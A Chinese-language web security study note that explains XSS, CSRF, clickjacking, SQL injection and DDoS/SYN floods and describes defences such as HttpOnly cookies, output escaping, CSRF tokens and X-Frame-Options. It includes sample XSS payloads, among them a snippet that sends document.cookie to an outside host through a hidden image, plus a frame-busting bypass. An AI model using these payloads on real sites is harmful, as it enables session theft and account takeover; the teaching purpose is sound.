web安全整理

XSS(Cross Site Script)

跨站脚本攻击，一般是指黑客通过在网页中注入恶意脚本，当用户浏览网页时，恶意脚本执行，控制用户浏览器行为的一种攻击方式。其中，XSS攻击通常分为反射型XSS、存储型XSS、DOM Based XSS三种。
存储型XSS
存储型XSS又被称为持久性XSS，它是最危险的一种跨站脚本，相比反射型XSS和DOM型XSS具有更高的隐蔽性，所以危害更大，因为它不需要用户手动触发。数据库中存有的存在XSS攻击的数据，返回给客户端。若数据未经过任何转义。被浏览器渲染。就可能导致XSS攻击；
反射型XSS
反射型XSS也被称为非持久性XSS，是现在最容易出现的一种XSS漏洞。将用户输入的存在XSS攻击的数据，发送给后台，后台并未对数据进行存储，也未经过任何过滤，直接返回给客户端。被浏览器渲染。就可能导致XSS攻击；
DOM-XSS
DOM即文本对象模型，DOM通常代表在html、xhtml和xml中的对象，使用DOM可以允许程序和脚本动态的访问和更新文档的内容、结构和样式。它不需要服务器解析响应的直接参与，触发XSS靠的是浏览器端的DOM解析，可以认为完全是客户端的事情。

存储型案例
评论区：直接把评论的内容保存到数据库，那么显示的时候就可能被攻击。

<font size="100" color="red">试试水</font> <script>      while (true) {          alert('Hello')      }  </script>

Cookie攻击：
读取cookie：

  <script>      alert(document.cookie)  </script>

Cookie 发送给攻击者的站点：

  var img = document.createElement('img')  img.src='http://www.ly.com?cookie=' + escape(document.cookie);    img.style.display='none'  document.body.appendChild(img)

当前用户的登录凭证存储于服务器的 session 中，而在浏览器中是以 cookie 的形式存储的。这段代码插入了一张看不见的图片，同时把document.cookie作为参数，发到远程服务器。黑客在拿到cookie后，只需要替换掉自身的cookie，就可以登入被盗取者的账户，进行恶意操作。
一个网站的应用只需要接受HTTP的POST请求和GET请求，就可以完成所有的操作，对于黑客而言，仅通过JavaScript就可以完成这些操作。

防御

1.httpOnly:
HttpOnly最早是由微软提出，并在IE6中实现的，至今已逐渐成为一个标准。浏览器将禁止页面的JavaScript访问带有HttpOnly 属性的Cookie。以下浏览器开始支持HttpOnly:

Microsoft IE 6 SP1+
Mozilla FireFox 2.0.0.5+
Mozilla Firefox 3.0.0.6+
Google Chrome
Apple Safari 4.0+
Opera 9.5+
一个Cookie的使用过程如下：
Step1: 浏览器向服务器发送请求，这时候没有cookie。
Step2: 服务器返回同时，发送Set-Cookie头，向客户端浏览器写入Cookie。
Step3: 在该Cookie到期前，浏览器访问该域名下所有的页面，都将发送该Cookie。
而HttpOnly是在Set-Cookie时标记的。
在 cookie 中设置 HttpOnly 属性后，js脚本将无法读取到 cookie 信息。

过滤

1.常见的Web漏洞，如XSS、SQL注入等，都要求攻击者构造一些特殊的字符串，而这些字符串是一般用户不会用到的，所以进行输入检查就很有必要了。
输入检查可以在用户输入的格式检查中进行。例如：邮箱，电话号码，用户名，密码……等，按照规定的格式输入。很多网站的用户名都要求是字母及数字的组合如“abc1234”，其实也能过滤一部分的XSS和SQL注入。但是，这种在客户端的限制很容易被绕过，攻击者可以用JavaScript或一些请求工具，直接构造请求，想网站注入XSS或者SQL。所以，除了在客户端进行格式检查，往往还需要在后端进行二次检查。客户端的检查主要作用是阻挡大部分误操作的正常用户，从而节约服务器资源。

2.对输出转义

在输出数据之前对潜在的威胁的字符进行编码、转义是防御XSS攻击十分有效的措施。
为了对抗XSS,在HtmlEncode中至少转换以下字符：

当用户输入<script>window.location.href=”http://www.baidu.com”;</script>,
最终保存结果为 <script>window.location.href="http://www.baidu.com"</script>, 在展现时，浏览器会对这些字符转换成文本内容，而不是一段可以执行的代码。

因为浏览器解析中html和js编码不一样，以及上下文场景多样，所以对于后台输出的变量，不同的上下文中渲染后端变量，转码不一样。
下面的HTML片段显示了如何安全地在多种不同的上下文中渲染不可信数据。

1.所有输出的数据转义都应该遵守上表的规则，而针对同步数据和异步数据，有较大的使用区别做了区分：

同步数据
a. React页面主动屏蔽掉XSS，非react则需要对不可信任数据，要进行输出转义。
b. 对于html白名单需求，可以使用SanitizeHelper模块提供了一个方法集合来处理非预期的HTML元素。
c. 不同的使用方式，编码方式不同，java现成的工具可以用——ESAPI，不同位置如何转义可参照ESAPI文档

2.异步、后台直出给js使用的json数据
对于不可信任的json数据。因为json数据可能用到不同的地方，所以转义可以放在前端js去转义。
a. 参与运算的动态变量，最好转化为对应类型后再运算。如number型.
b. 如果是字符串操作，保证字符串被引号包裹。
c. 不能使用eval ，new fuction，settimeout执行动态字符串，因为这个字符串很可能就是一个xss代码，如果无法避免，那么也要转义之后再参与运算。
d. 输出到页面上的数据必须使用相应方法转义，前端可以考虑寻找js插件处理。目前jquery-encoder，可用于前端json转义。使用方式与ESAPI类似，在需要渲染的时候进行转义。

CSRF

跨站点请求伪造（Cross-Site Request Forgeries），也被称为 one-click attack 或者 session riding。冒充用户发起请求（在用户不知情的情况下）， 完成一些违背用户意愿的事情（如修改用户信息，删初评论等）。
CSRF 可以简单理解为：攻击者盗用了你的身份，以你的名义发送恶意请求，容易造成个人隐私泄露以及财产安全。
可能会造成以下影响：

• 利用已通过认证的用户权限更新设定信息等；
• 利用已通过认证的用户权限购买商品；
• 利用已通过的用户权限在留言板上发表言论。

来张图理解：

如上图所示：要完成一次 CSRF 攻击，受害者必须完成：

• 登录受信任网站，并在本地生成 cookie
• 在不登出 A 的情况下，访问危险网站 B

与 xss 区别

• 通常来说 CSRF 是由 XSS 实现的，CSRF 时常也被称为 XSRF（CSRF
  实现的方式还可以是直接通过命令行发起请求等）。
• 本质上讲，XSS 是代码注入问题，CSRF 是 HTTP 问题。XSS 是内容没有过滤导致浏览器将攻击者的输入当代码执行。CSRF
  则是因为浏览器在发送 HTTP 请求时候自动带上 cookie，而一般网站的 session 都存在 cookie里面。
  举例子：
  比如某网站的转账操作
  受害者张三给李四转账100，
  通过对银行的网站发起请求 bank.example/transfer?ac… ，
  通常情况下，该请求发出后，服务器端会检查 session 是否合法，并且张三已经登录成功，
  黑客王五可以自己给银行发送一个请求 bank.example/transfer?ac… ，但是这个请求来自王五，而不是张三，他并不能通过安全认证。他需要张三的 session 。
  王五自己做了一个网站，放入如下代码 bank.example/transfer?ac… ，用各种方式诱使张三点击自己的网站。
  张三登录了银行的网站没有退出，访问了黑客王五的网站，上述的 url 就会向银行发起请求。
  如果session没有过期，这时悲剧就发生了，张三的账户里少了1000。

防御

• 验证码；
  强制用户必须与应用进行交互，才能完成最终请求。此种方式能很好的遏制 csrf，但是用户体验比较差。
• 尽量使用 post ，
  限制 get 使用；上一个例子可见，get 太容易被拿来做 csrf 攻击，但是 post
  也并不是万无一失，攻击者只需要构造一个form就可以。
• Referer check；
  常见的互联网页面与页面之间是存在联系的，比如你在 腾讯首页 应该找不到通往 http://www.facebook.com 的链接的，比如你在某论坛留言，那么不管你留言之后重定向到哪里，之前的网址一定保留在新页面中 Referer 属性中。通过检查 Referer 的值，我们就可以判断这个请求是合法的还是非法的，但是问题出在服务器不是任何时候都接受到 Referer 的值，所以 Referer Check 一般用于监控 CSRF 攻击的发生，而不用来抵御攻击。请求来源限制，此种方法成本最低，但是并不能保证 100% 有效，因为服务器并不是什么时候都能取到
  Referer，而且低版本的浏览器存在伪造 Referer 的风险。

• token；token 验证的 CSRF 防御机制是公认最合适的方案。CSRF 攻击要成功的条件在于攻击者能够准确地预测所有的参数从而构造出合法的请求，所以根据不可预测性原则，我们可以对参数进行加密从而防止 CSRF 攻击，可以保存其原有参数不变，另外添加一个参数 Token，其值是随机的，这样攻击者因为不知道 Token 而无法构造出合法的请求进行攻击，所以我们在构造请求时候只需要保证：

  整体思路如下：

• 第一步：后端随机产生一个 token，把这个token 保存到 session 状态中；同时后端把这个token 交给前端页面；

• 第二步：前端页面提交请求时，把 token 加入到请求数据或者头信息中，一起传给后端；

• 后端验证前端传来的 token 与 session 是否一致，一致则合法，否则是非法请求。

• Token 要足够随机，使攻击者无法准确预测

• Token 是一次性的，即每次请求成功后要更新 Token，增加预测难度

• Token 要主要保密性，敏感操作使用 POST，防止 Token 出现在 URL 中

  若网站同时存在 XSS 漏洞的时候，这个方法也是空谈。

Clickjacking
Clickjacking： 点击劫持，是指利用透明的按钮或连接做成陷阱，覆盖在 Web 页面之上。然后诱使用户在不知情的情况下，点击那个连接访问内容的一种攻击手段。这种行为又称为界面伪装(UI Redressing) 。

大概有两种方式：

• 攻击者使用一个透明 iframe，覆盖在一个网页上，然后诱使用户在该页面上进行操作，此时用户将在不知情的情况下点击透明的 iframe
  页面；
• 攻击者使用一张图片覆盖在网页，遮挡网页原有的位置含义。

一般步骤

• 黑客创建一个网页利用 iframe 包含目标网站；
• 隐藏目标网站，使用户无法无法察觉到目标网站存在；
• 构造网页，诱变用户点击特点按钮
• 用户在不知情的情况下点击按钮，触发执行恶意网页的命令

X-FRAME-OPTIONS

X-FRAME-OPTIONS HTTP 响应头是用来给浏览器指示允许一个页面可否在<frame>, <iframe> 或者 <object> 中展现的标记。网站可以使用此功能，来确保自己网站内容没有被嵌到别人的网站中去，也从而避免点击劫持的攻击。

有三个值：

• DENY：表示页面不允许在 frame 中展示，即便是在相同域名的页面中嵌套也不允许。
• SAMEORIGIN：表示该页面可以在相同域名页面的 frame 中展示。
• ALLOW-FROM url：表示该页面可以在指定来源的 frame 中展示。

配置 X-FRAME-OPTIONS：

• Apache

  把下面这行添加到 ‘site’ 的配置中：

Header always append X-Frame-Options SAMEORIGIN

• nginx
  把下面这行添加到 ‘http’, ‘server’ 或者 ‘location’，配置中

add_header X-Frame-Options SAMEORIGIN;

• IIS

  添加下面配置到 Web.config 文件中

  <system.webServer>...<httpProtocol>  <customHeaders>    <add name="X-Frame-Options" value="SAMEORIGIN" />  </customHeaders></httpProtocol>...</system.webServer>

• js 判断顶层窗口跳转，可轻易破解，意义不大；

function locationTop(){  if (top.location != self.location) {     top.location = self.location; return false;  }  return true;  }locationTop();

// 破解：// 顶层窗口中放入代码var location = document.location;//或者var location = "";

• 如果不需要用户输入 HTML，可以直接对用户的输入进行 HTML 转义：
• 当用户需要输入 HTML 代码时：

当我们需要用户输入 HTML 的时候，需要对用户输入的内容做更加小心细致的处理。

仅仅粗暴地去掉 script 标签是没有用的，任何一个合法 HTML 标签都可以添加 onclick 一类的事件属性来执行 JavaScript。

更好的方法可能是，将用户的输入使用 HTML 解析库进行解析，获取其中的数据。然后根据用户原有的标签属性，重新构建 HTML 元素树。构建的过程中，所有的标签、属性都只从白名单中拿取。

SQL 注入：

所谓 SQL 注入，就是通过把 SQL 命令插入到 Web 表单提交或页面请求的查询字符串，最终达到棋牌呢服务器执行恶意的 SQL 命令。

具体来说，它是利用现有应用程序，将(恶意) 的 SQL 命令注入到后台数据库引擎执行的能力，它可以通过在 Web 表单中输入 (恶意) SQL 语句得到一个存在安全漏洞的网站上的数据库，而不是按照设计者意图去执行 SQL 语句。

SQL 防护：

1. 永远不要信任用户的输入: 对用户的输入进行校验，可以通过正则表达式，或限制长度；对单引号和双”-“进行转换等。
2. 永远不要使用动态拼装 SQL，可以使用参数化的 SQL 或者直接使用存储过程进行数据查询存取。
3. 永远不要使用管理员权限的数据库连接，为每个应用使用单独的权限有限的数据库连接。
4. 不要把机密信息直接存放，加密或者 hash 掉密码和敏感的信息。

DDOS 攻击：

分布式拒绝服务(DDoS:Distributed Denial of Service)攻击指借助于客户/服务器技术，将多个计算机联合起来作为攻击平台，对一个或多个目标发动DDoS攻击，从而成倍地提高拒绝服务攻击的威力。

可以打个比方：

一群恶霸试图让对面那家有着竞争关系的商铺无法正常营业，他们会采取什么手段呢？（只为举例，切勿模仿）

恶霸们扮作普通客户一直拥挤在对手的商铺，赖着不走，真正的购物者却无法进入；或者总是和营业员有一搭没一搭的东扯西扯，让工作人员不能正常服务客户；也可以为商铺的经营者提供虚假信息，商铺的上上下下忙成一团之后却发现都是一场空，最终跑了真正的大客户，损失惨重。

此外恶霸们完成这些坏事有时凭单干难以完成，需要叫上很多人一起。嗯，网络安全领域中 DoS 和 DDoS 攻击就遵循着这些思路。

DDOS 攻击利用目标系统网络服务功能缺陷或者直接消耗其系统资源，使得该目标系统无法提供正常的服务。

DDoS 攻击通过大量合法的请求占用大量网络资源，以达到瘫痪网络的目的。 具体有几种形式：

1. 通过使网络过载来干扰甚至阻断正常的网络通讯；
2. 通过向服务器提交大量请求，使服务器超负荷；
3. 阻断某一用户访问服务器；
4. 阻断某服务与特定系统或个人的通讯。
   SYN 攻击：

属于 DDOS 攻击中的一种具体表现形式。

在三次握手过程中，服务器发送 SYN-ACK 之后，收到客户端的 ACK 之前的 TCP 连接称为半连接(half-open connect)。此时服务器处于 SYN_RCVD 状态。当收到 ACK 后，服务器才能转入 ESTABLISHED 状态.

SYN 攻击指的是，攻击客户端在短时间内伪造大量不存在的 IP 地址，向服务器不断地发送 SYN 包，服务器回复确认包，并等待客户的确认。

由于源地址是不存在的，服务器需要不断的重发直至超时，这些伪造的 SYN 包将长时间占用未连接队列，正常的 SYN 请求被丢弃，导致目标系统运行缓慢，严重者会引起网络堵塞甚至系统瘫痪。

检测 SYN 攻击：检测 SYN 攻击非常的方便，当你在服务器上看到大量的半连接状态时，特别是源 IP 地址是随机的，基本上可以断定这是一次 SYN 攻击。

SYN 攻击防护：

1. 缩短超时（SYN Timeout）时间
2. 增加最大半连接数
3. 过滤网关防护

参考链接：
https://juejin.im/post/59dc2b7a6fb9a0451869ae3a
https://www.zhihu.com/question/26628342
http://mp.weixin.qq.com/s/6ChuUdOm7vej8vQ3dbC8fw
https://zhuanlan.zhihu.com/p/25486768?group_id=820705780520079360